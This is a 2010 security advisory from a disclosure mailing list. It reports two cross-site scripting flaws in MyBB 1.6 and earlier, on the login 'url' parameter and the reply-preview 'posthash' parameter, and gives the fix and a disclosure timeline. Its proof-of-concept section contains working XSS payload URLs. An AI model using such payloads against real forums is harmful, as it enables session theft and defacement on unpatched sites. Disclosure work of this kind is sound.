full-disclosure - MyBB 1.6 <= Cross Site Scripting (XSS) Vulnerability

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Date: Mon, 20 Dec 2010 12:12:24 +0800
From: YGN Ethical Hacker Group <lists@...g.net>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com, 
	bugs@...uritytracker.com, vuln@...unia.com, secalert@...urityreason.com,
	news@...uriteam.com, vuln@...urity.nnov.ru
Subject: MyBB 1.6 <= Cross Site Scripting (XSS)
	Vulnerability

============================================
 MyBB 1.6 <= Cross Site Scripting (XSS) Vulnerability
============================================

1. OVERVIEW

MyBB was vulnerable to Cross Site Scripting Vulnerability.

2. APPLICATION DESCRIPTION

MyBB is a free bulletin board system software package developed by the
MyBB Group.
It's supposed to be developed from XMB and DevBB bulletin board applications.

3. VULNERABILITY DESCRIPTION

Two XSS vulnerabilities were found. One is user-driven XSS on "url" parameter.
User will get xssed upon successful log-in.
The other is a reflected XSS on "posthash" parameter where the valid
tid (topic id) is required for successful attack.
The anti-CSRF check against "my_post_key" parameter was not done in
thread/post preview mode and thus there came a way for XSS to be
successful.

4. VERSIONS AFFECTED

MyBB 1.6 and lower

5. PROOF-OF-CONCEPT/EXPLOIT

User-driven XSS
http://attacker.in/mybb/member.php?action=login&url=javascript:alert%28/XSS/%29

Reflected XSS
http://attacker.in/mybb/newreply.php?my_post_key=&subject=XSS&action=do_newreply&posthash="><script>alert(/XSS/)</script>&quoted_ids=&lastpid=1&from_page=1&tid=1&method=quickreply&message=test&previewpost=Preview
Post

6. SOLUTION

Upgrade to 1.6.1

7. VENDOR

MyBB Development Team
http://www.mybb.com/

8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

9. DISCLOSURE TIME-LINE

2010-12-09: notified vendor
2010-12-15: vendor released fixed version
2010-12-20: vulnerability disclosed

10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_cross_site_scripting
About MyBB: http://www.mybb.com/about/mybb

#yehg [2010-12-20]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd

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